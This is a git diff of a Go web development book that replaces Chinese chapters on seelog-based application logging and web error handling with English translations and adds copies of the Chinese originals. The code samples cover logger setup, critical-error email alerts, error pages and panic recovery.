-邮件的格式通过criticalemail配置,然后通过其他的配置发送邮件服务器的配置,通过recipient配置接收邮件的用户,如果有多个用户可以再添加一行。 - -要测试这个代码是否正常工作,可以在代码中增加类似下面的一个假消息。不过记住过后要把它删除,否则上线之后就会收到很多垃圾邮件。 - - logs.Logger.Critical("test Critical message") - -现在,只要我们的应用在线上记录一个Critical的信息,你的邮箱就会收到一个Email,这样一旦线上的系统出现问题,你就能立马通过邮件获知,就能及时的进行处理。 -## 使用应用日志 -对于应用日志,每个人的应用场景可能会各不相同,有些人利用应用日志来做数据分析,有些人利用应用日志来做性能分析,有些人来做用户行为分析,还有些就是纯粹的记录,以方便应用出现问题的时候辅助查找问题。 - -举一个例子,我们需要跟踪用户尝试登陆系统的操作。这里会把成功与不成功的尝试都记录下来。记录成功的使用"Info"日志级别,而不成功的使用"warn"级别。如果想查找所有不成功的登陆,我们可以利用linux的grep之类的命令工具,如下: - - # cat /data/logs/roll.log | grep "failed login" - 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password - -通过这种方式我们就可以很方便的查找相应的信息,这样有利于我们针对应用日志做一些统计和分析。另外我们还需要考虑日志的大小,对于一个高流量的Web应用来说,日志的增长是相当可怕的,所以我们在seelog的配置文件里面设置了logrotate,这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题。 - -## 小结 -通过上面对seelog系统及如何基于它进行自定义日志系统的学习,现在我们可以很轻松的随需构建一个合适的功能强大的日志处理系统了。日志处理系统为数据分析提供了可靠的数据源,比如通过对日志的分析,我们可以进一步优化系统,或者应用出现问题时方便查找定位问题,另外seelog也提供了日志分级功能,通过对minlevel的配置,我们可以很方便的设置测试或发布版本的输出消息级别。 - -## links - * [目录]() - * 上一章: [部署与维护](<12.0.md>) - * 下一节: [网站错误处理](<12.2.md>) +# 12.1 Logs + +We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple `log` package which we can use to help us implement simple logging functionality. Logs can be printed using Go's `fmt` package, called inside error handling functions for general error logging. Go's standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the [seelog](https://github.com/cihub/seelog) logging framework. Let's take a look at how we can use `seelog` to perform logging in our Go applications. + +## Introduction to seelog + +Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows: + +- Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program +- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application +- Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc. +- Support for different log outputs + + - Command line output + - File Output + - Cached output + - Support log rotate + - SMTP Mail + +The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its [official wiki](https://github.com/cihub/seelog/wiki) which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects: + +First install seelog: + + go get -u github.com/cihub/seelog + +Then let's write a simple example: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + +Compile and run the program. If you see a `Hello from seelog` in your application log, seelog has been successfully installed and is running operating normally. + +## Custom log processing with seelog + +Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package: + + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + + +The above implements the three main functions: + +- `DisableLog` + +Initializes a global variable `Logger` with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized + +- `LoadAppConfig` + +Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters: + +- Seelog + +The `minlevel` parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional `maxlevel` parameter is similarly used to configure the maximum logging level desired. + +- Outputs + +Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur. + +- Formats + +Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog's [wiki](https://github.com/cihub/seelog/wiki/Format-reference) + +- `UseLogger` + +Set the current logger as our log processor + +Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## Email notifications + +The above example explains how to set up email notifications with `seelog`. As you can see, we used the following `smtp` configuration: + + + + + +We set the format of our alert messages through the `criticalemail` configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the `recipient` configuration. It's a simple matter of adding one line for each additional recipient. + +To test whether or not this code is working properly, you can add a fake critical message to your application like so: + + logs.Logger.Critical("test Critical message") + +Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email notifications. + +Now, whenever our application logs a critical message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner. + +## Using application logs + +When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems. + +As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the `grep` command like so: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set `seelog` up with the logrotate configuration to ensure that single log files do not consume excessive disk space. + +## Summary + +On the face of seelog system and how it can be customized based on the learning log system, and now we can easily construct a suitable demand powerful log processing the system. Data analysis log processing system provides a reliable data source, such as through the log analysis, we can further optimize the system, or application problems arise easy to find location problem, another seelog also provides a log grading function, through the configuration for min-level, we can easily set the output test or release message level. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment and maintenance](12.0.md) +- Next section: [Errors and crashes](12.2.md) diff --git a/en/12.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..5c4801dd --- /dev/null +++ b/en/12.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,166 @@ +# 12.1 应用日志 +我们期望开发的Web应用程序能够把整个程序运行过程中出现的各种事件一一记录下来,Go语言中提供了一个简易的log包,我们使用该包可以方便的实现日志记录的功能,这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印、抛出错误处理。Go目前标准包只是包含了简单的功能,如果我们想把我们的应用日志保存到文件,然后又能够结合日志实现很多复杂的功能(编写过Java或者C++的读者应该都使用过log4j和log4cpp之类的日志工具),可以使用第三方开发的一个日志系统,`https://github.com/cihub/seelog`,它实现了很强大的日志功能。接下来我们介绍如何通过该日志系统来实现我们应用的日志功能。 + +## seelog介绍 +seelog是用Go语言实现的一个日志系统,它提供了一些简单的函数来实现复杂的日志分配、过滤和格式化。主要有如下特性: + +- XML的动态配置,可以不用重新编译程序而动态的加载配置信息 +- 支持热更新,能够动态改变配置而不需要重启应用 +- 支持多输出流,能够同时把日志输出到多种流中、例如文件流、网络流等 +- 支持不同的日志输出 + + - 命令行输出 + - 文件输出 + - 缓存输出 + - 支持log rotate + - SMTP邮件 + +上面只列举了部分特性,seelog是一个特别强大的日志处理系统,详细的内容请参看官方wiki。接下来我将简要介绍一下如何在项目中使用它: + +首先安装seelog + + go get -u github.com/cihub/seelog + +然后我们来看一个简单的例子: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + +编译后运行如果出现了`Hello from seelog`,说明seelog日志系统已经成功安装并且可以正常运行了。 + +## 基于seelog的自定义日志处理 +seelog支持自定义日志处理,下面是我基于它自定义的日志处理包的部分内容: + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + +上面主要实现了三个函数, + +- `DisableLog` + + 初始化全局变量Logger为seelog的禁用状态,主要为了防止Logger被多次初始化 +- `loadAppConfig` + + 根据配置文件初始化seelog的配置信息,这里我们把配置文件通过字符串读取设置好了,当然也可以通过读取XML文件。里面的配置说明如下: + + - seelog + + minlevel参数可选,如果被配置,高于或等于此级别的日志会被记录,同理maxlevel。 + - outputs + + 输出信息的目的地,这里分成了两份数据,一份记录到log rotate文件里面。另一份设置了filter,如果这个错误级别是critical,那么将发送报警邮件。 + + - formats + + 定义了各种日志的格式 + +- `UseLogger` + + 设置当前的日志器为相应的日志处理 + +上面我们定义了一个自定义的日志处理包,下面就是使用示例: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## 发生错误发送邮件 +上面的例子解释了如何设置发送邮件,我们通过如下的smtp配置用来发送邮件: + + + + + +邮件的格式通过criticalemail配置,然后通过其他的配置发送邮件服务器的配置,通过recipient配置接收邮件的用户,如果有多个用户可以再添加一行。 + +要测试这个代码是否正常工作,可以在代码中增加类似下面的一个假消息。不过记住过后要把它删除,否则上线之后就会收到很多垃圾邮件。 + + logs.Logger.Critical("test Critical message") + +现在,只要我们的应用在线上记录一个Critical的信息,你的邮箱就会收到一个Email,这样一旦线上的系统出现问题,你就能立马通过邮件获知,就能及时的进行处理。 +## 使用应用日志 +对于应用日志,每个人的应用场景可能会各不相同,有些人利用应用日志来做数据分析,有些人利用应用日志来做性能分析,有些人来做用户行为分析,还有些就是纯粹的记录,以方便应用出现问题的时候辅助查找问题。 + +举一个例子,我们需要跟踪用户尝试登陆系统的操作。这里会把成功与不成功的尝试都记录下来。记录成功的使用"Info"日志级别,而不成功的使用"warn"级别。如果想查找所有不成功的登陆,我们可以利用linux的grep之类的命令工具,如下: + + # cat /data/logs/roll.log | grep "failed login" + 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password + +通过这种方式我们就可以很方便的查找相应的信息,这样有利于我们针对应用日志做一些统计和分析。另外我们还需要考虑日志的大小,对于一个高流量的Web应用来说,日志的增长是相当可怕的,所以我们在seelog的配置文件里面设置了logrotate,这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题。 + +## 小结 +通过上面对seelog系统及如何基于它进行自定义日志系统的学习,现在我们可以很轻松的随需构建一个合适的功能强大的日志处理系统了。日志处理系统为数据分析提供了可靠的数据源,比如通过对日志的分析,我们可以进一步优化系统,或者应用出现问题时方便查找定位问题,另外seelog也提供了日志分级功能,通过对minlevel的配置,我们可以很方便的设置测试或发布版本的输出消息级别。 + +## links + * [目录]() + * 上一章: [部署与维护](<12.0.md>) + * 下一节: [网站错误处理](<12.2.md>) diff --git a/en/12.2.md b/en/12.2.md index 53eaf92d..54408a0f 100644 --- a/en/12.2.md +++ b/en/12.2.md @@ -1,124 +1,141 @@ -# 12.2 网站错误处理 -我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示: - -- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。 - - - 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。 - - 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。 - - 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。 -- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下: - - - 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。 - - 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。 - -- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。 -- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。 -- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。 - -## 错误处理的目标 -在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作: - -- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。 -- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。 -- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。 -- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。 - -## 如何处理错误 -错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误: - -- 通知用户出现错误: - - 通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码: - - - - - 找不到页面 - - - - -
-
-
-
-

404!

-

{{.ErrorInfo}}

-
-
-
-
- - - 另一个源码: - - - - - 系统错误页面 - - - - -
-
-
-
-

系统暂时不可用!

-

{{.ErrorInfo}}

-
-
-
-
- - - - 404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在: - - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - NotFound404(w, r) - return - } - - func NotFound404(w http.ResponseWriter, r *http.Request) { - log.Error("页面找不到") //记录错误日志 - t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 - ErrorInfo := "文件找不到" //获取当前用户信息 - t.Execute(w, ErrorInfo) //执行模板的merger操作 - } - - func SystemError(w http.ResponseWriter, r *http.Request) { - log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 - t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 - ErrorInfo := "系统暂时不可用" //获取当前用户信息 - t.Execute(w, ErrorInfo) //执行模板的merger操作 - } - -## 如何处理异常 -我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。 - -但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。 - - func GetUser(uid int) (username string) { - defer func() { - if x := recover(); x != nil { - username = "" - } - }() - - username = User[uid] - return - } - -上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。 - -## 小结 -本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。 -## links - * [目录]() - * 上一章: [应用日志](<12.1.md>) - * 下一节: [应用部署](<12.3.md>) +# 12.2 Errors and crashes + +Our on-line soon after the Web application, then the probability of various error has occurred, Web applications may be a variety of daily operation errors, specifically as follows: + +- Database error: refers to access the database server or data -related errors. For example, the following may occur some database errors. + +- Connection Error: This type of error may be disconnected from the network database server, user name, password is incorrect, or the database does not exist. +- Query Error: illegal use of SQL cause an error like this SQL error if the program through rigorous testing should be avoided. +- Data Error: database constraint violation, such as a unique field to insert a duplicate primary key values ​​will complain, but if your application on-line through a rigorous testing before also avoid such problems. +- Application Runtime Error: This type of error range is very wide, covering almost all appear in the code error. Possible application errors are as follows: + +- File system and permissions: application to read the file does not exist, or do not have permission to read the file, or written to a file is not allowed to write, which will result in an error. If the application reads the file format is not correct will be given, such as configuration files should be INI configuration format, and set into JSON format an error. +- Third-party applications: If our application interfaces coupled with other third-party programs, such as articles published after the application automatically calls the hair micro-blogging interface, so the interface must be running to complete the function we publish an article. + +- HTTP errors: These errors are based on the user's request errors, the most common is the 404 error. While there may be many different errors, but also one of the more common error 401 Unauthorized error( authentication is required to access the resource ), 403 Forbidden error( do not allow users to access resources ) and 503 error( internal program error ). +- Operating system error: These errors are due to the application on the operating system error caused mainly operating system resources are allocated over, leading to crashes, as well as the operating system disk is full, making it impossible to write, so it will cause a lot of errors. +- Network error: error refers to two aspects, one is the application when the user requests a network disconnection, thus disrupt the connection, this error does not cause the application to crash, but it will affect the effect of user access ; another on the one hand is an application to read the data on other networks, other network disconnect can cause read failures, such an application needs to do effective testing, to avoid such problems arise in case the program crashes. + +## Error processing of the target + +Error handling in the realization, we must be clear error handling is what you want to achieve, error handling system should accomplish the following tasks: + +- Notification access user errors: the matter is that a system error occurs, or user error, the user should be aware Web applications is a problem, the user 's current request could not be completed correctly. For example, a request for user error, we show a unified error page(404.html). When a system error occurs, we passed a custom error page display system is temporarily unavailable kind of error page(error.html). +- Record error: system error, generally what we call the function to return the case err is not nil, you can use the front section describes the system log to a log file. If it is some fatal error, the system administrator is notified via e-mail. General 404 such mistakes do not need to send messages to the log system only needs to record. +- Rollback the current request: If a user requests occurred during a server error, then the need to roll back the operation has been completed. Let's look at an example: a system will save the user submitted the form to the database, and to submit this data to a third-party server, but third-party server hung up, which resulted in an error, then the previously stored form data to a database should delete( void should be informed ), and should inform the user of the system error. +- Ensure that the existing program can be run to serve: We know that no one can guarantee that the program will be able to have a normal running, if one day the program crashes, then we need to log the error, and then immediately let the program up and running again, let the program continue to provide services, and then notify the system administrator through the logs to identify problems. + +## How to handle errors + +Error Handling In fact, we have eleven chapters in the first section which has been how to design error handling, here we have another example from a detailed explanation about how to handle different errors: + +- Notify the user errors: + +Notify the user when accessing the page we can have two kinds of errors: 404.html and error.html, the following were the source of the error page displays: + + + + + + Page Not Found + + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Another source: + + + + + + system error page + + + + + + +
+
+
+
+

system is temporarily unavailable !

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Error handling logic 404, an error if the system operation is similar, and we see that: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error(" page not found") //error logging + t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file + ErrorInfo := " File not found " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message + t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file + ErrorInfo := " system is temporarily unavailable " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + +## How to handle exceptions + +We know that in many other languages ​​have try... catch keywords used to capture the unusual situation, but in fact, many errors can be expected to occur without the need for exception handling, should be handled as an error, which is why the Go language using the function returns an error of design, these functions do not panic, for example, if a file is not found, os.Open returns an error, it will not panic; if you break the network connection to a write data, net.Conn series Type the Write function returns an error, they do not panic. These states where such procedures are to be expected. You know that these operations might fail, an error is returned because the designer has used a clear indication of this. This is the above stated error can be expected to occur. + +But there is a situation, there are some operations almost impossible to fail, and in certain cases there is no way to return an error and can not continue, such a situation should panic. For example: if a program to calculate x [j], but j bounds, and this part of the code will lead to panic, like this one unexpected fatal error will cause panic, by default it will kill the process, it this allows a part of the code that is running from the error occurred panic goroutine recover operation, the occurrence of panic, the function of this part of the code and the code behind not be executed, which is specially designed such that Go, as separate from the errors and abnormal, panic fact exception handling. The following code, we expect to get the User via uid the username information, but if uid crossed the line will throw an exception, this time if we do not recover mechanism, the process will be killed, resulting in non- service program. So in order to process robustness, in some places need to establish recover mechanism. + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +The above describes the difference between errors and exceptions, so when we develop programs how to design it? The rules are simple: If you define a function may fail, it should return an error. When I call other package 's function, if this function is implemented well, I do not need to worry that it will panic, unless there is a true exception to happen, nor even that I should go with it. The panic and recover for its own development package which implements the logic to design for some special cases. + +## Summary + +This section summarizes when we deployed Web application how to handle various error: network error, database error, operating system errors, etc., when an error occurs, our program how to correctly handle: Show friendly error interface, rollback, logging, notify the administrator and other operations, and finally explains how to correctly handle errors and exceptions. General program errors and exceptions easily confused, but errors and exceptions in Go is a clear distinction, so tell us in a program designed to handle errors and exceptions should follow the principles of how to. + +## Links + +- [Directory](preface.md) +- Previous section: [Logs](12.1.md) +- Next section: [Deployment](12.3.md) diff --git a/en/12.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..57da1d42 --- /dev/null +++ b/en/12.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,124 @@ +# 12.2 网站错误处理 +我们的Web应用一旦上线之后,那么各种错误出现的概率都有,Web应用日常运行中可能出现多种错误,具体如下所示: + +- 数据库错误:指与访问数据库服务器或数据相关的错误。例如,以下可能出现的一些数据库错误。 + + - 连接错误:这一类错误可能是数据库服务器网络断开、用户名密码不正确、或者数据库不存在。 + - 查询错误:使用的SQL非法导致错误,这样子SQL错误如果程序经过严格的测试应该可以避免。 + - 数据错误:数据库中的约束冲突,例如一个唯一字段中插入一条重复主键的值就会报错,但是如果你的应用程序在上线之前经过了严格的测试也是可以避免这类问题。 +- 应用运行时错误:这类错误范围很广,涵盖了代码中出现的几乎所有错误。可能的应用错误的情况如下: + + - 文件系统和权限:应用读取不存在的文件,或者读取没有权限的文件、或者写入一个不允许写入的文件,这些都会导致一个错误。应用读取的文件如果格式不正确也会报错,例如配置文件应该是ini的配置格式,而设置成了json格式就会报错。 + - 第三方应用:如果我们的应用程序耦合了其他第三方接口程序,例如应用程序发表文章之后自动调用接发微博的接口,所以这个接口必须正常运行才能完成我们发表一篇文章的功能。 + +- HTTP错误:这些错误是根据用户的请求出现的错误,最常见的就是404错误。虽然可能会出现很多不同的错误,但其中比较常见的错误还有401未授权错误(需要认证才能访问的资源)、403禁止错误(不允许用户访问的资源)和503错误(程序内部出错)。 +- 操作系统出错:这类错误都是由于应用程序上的操作系统出现错误引起的,主要有操作系统的资源被分配完了,导致死机,还有操作系统的磁盘满了,导致无法写入,这样就会引起很多错误。 +- 网络出错:指两方面的错误,一方面是用户请求应用程序的时候出现网络断开,这样就导致连接中断,这种错误不会造成应用程序的崩溃,但是会影响用户访问的效果;另一方面是应用程序读取其他网络上的数据,其他网络断开会导致读取失败,这种需要对应用程序做有效的测试,能够避免这类问题出现的情况下程序崩溃。 + +## 错误处理的目标 +在实现错误处理之前,我们必须明确错误处理想要达到的目标是什么,错误处理系统应该完成以下工作: + +- 通知访问用户出现错误了:不论出现的是一个系统错误还是用户错误,用户都应当知道Web应用出了问题,用户的这次请求无法正确的完成了。例如,对于用户的错误请求,我们显示一个统一的错误页面(404.html)。出现系统错误时,我们通过自定义的错误页面显示系统暂时不可用之类的错误页面(error.html)。 +- 记录错误:系统出现错误,一般就是我们调用函数的时候返回err不为nil的情况,可以使用前面小节介绍的日志系统记录到日志文件。如果是一些致命错误,则通过邮件通知系统管理员。一般404之类的错误不需要发送邮件,只需要记录到日志系统。 +- 回滚当前的请求操作:如果一个用户请求过程中出现了一个服务器错误,那么已完成的操作需要回滚。下面来看一个例子:一个系统将用户递交的表单保存到数据库,并将这个数据递交到一个第三方服务器,但是第三方服务器挂了,这就导致一个错误,那么先前存储到数据库的表单数据应该删除(应告知无效),而且应该通知用户系统出现错误了。 +- 保证现有程序可运行可服务:我们知道没有人能保证程序一定能够一直正常的运行着,万一哪一天程序崩溃了,那么我们就需要记录错误,然后立刻让程序重新运行起来,让程序继续提供服务,然后再通知系统管理员,通过日志等找出问题。 + +## 如何处理错误 +错误处理其实我们已经在十一章第一小节里面有过介绍如何设计错误处理,这里我们再从一个例子详细的讲解一下,如何来处理不同的错误: + +- 通知用户出现错误: + + 通知用户在访问页面的时候我们可以有两种错误:404.html和error.html,下面分别显示了错误页面的源码: + + + + + 找不到页面 + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+
+
+ + + 另一个源码: + + + + + 系统错误页面 + + + + +
+
+
+
+

系统暂时不可用!

+

{{.ErrorInfo}}

+
+
+
+
+ + + + 404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error("页面找不到") //记录错误日志 + t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 + ErrorInfo := "文件找不到" //获取当前用户信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 + t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 + ErrorInfo := "系统暂时不可用" //获取当前用户信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } + +## 如何处理异常 +我们知道在很多其他语言中有try...catch关键词,用来捕获异常情况,但是其实很多错误都是可以预期发生的,而不需要异常处理,应该当做错误来处理,这也是为什么Go语言采用了函数返回错误的设计,这些函数不会panic,例如如果一个文件找不到,os.Open返回一个错误,它不会panic;如果你向一个中断的网络连接写数据,net.Conn系列类型的Write函数返回一个错误,它们不会panic。这些状态在这样的程序里都是可以预期的。你知道这些操作可能会失败,因为设计者已经用返回错误清楚地表明了这一点。这就是上面所讲的可以预期发生的错误。 + 